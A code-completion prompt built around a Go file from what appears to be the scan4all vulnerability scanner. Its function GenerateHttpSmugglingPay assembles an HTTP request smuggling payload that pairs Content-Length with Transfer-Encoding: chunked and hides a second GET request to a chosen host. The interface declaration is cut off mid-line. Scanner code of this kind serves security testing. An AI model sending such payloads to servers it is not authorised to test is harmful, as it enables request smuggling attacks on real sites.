You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: CheckSmuggling.go
    path of file: ./repos/scan4all/lib/Smuggling
    
    the code of the file until where you have to start completion: package Smuggling

import (
	"fmt"
	"github.com/GhostTroops/scan4all/lib/socket"
	"github.com/GhostTroops/scan4all/lib/util"
	"log"
	"net/url"
	"strings"
)

func E2EC(s string) string {
	return strings.ReplaceAll(s, "\n", "\r\n")
}

// 接口定义
type Smuggling interface {
	CheckResponse(body string, payload string) bool
	Get
    
func GenerateHttpSmugglingPay(szUrl, smugglinUrlPath, secHost string) string {
	a := []string{`POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded%s
Content-Length: %d
Transfer-Encoding: chunked

`, `

GET %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0`}
	u, err := url.Parse(strings.TrimSpace(szUrl))
	if nil != err {
		log.Println("GenerateHttpSmugglingPay url.Parse err: ", err)
		return ""
	}
	for i, x := range a {
		a[i] = strings.ReplaceAll(x, "\n", "\r\n")
	}
	sf := a[1]
	a[1] = fmt.Sprintf(sf, smugglinUrlPath, secHost)
	a[1] = fmt.Sprintf("%x", len(a[1])-1) + a[1]

	sf = a[0]
	a[0] = fmt.Sprintf(sf, u.RawPath, u.Host, util.GetCustomHeadersRaw(), len([]byte(a[1])))
	return strings.Join(a, "")
}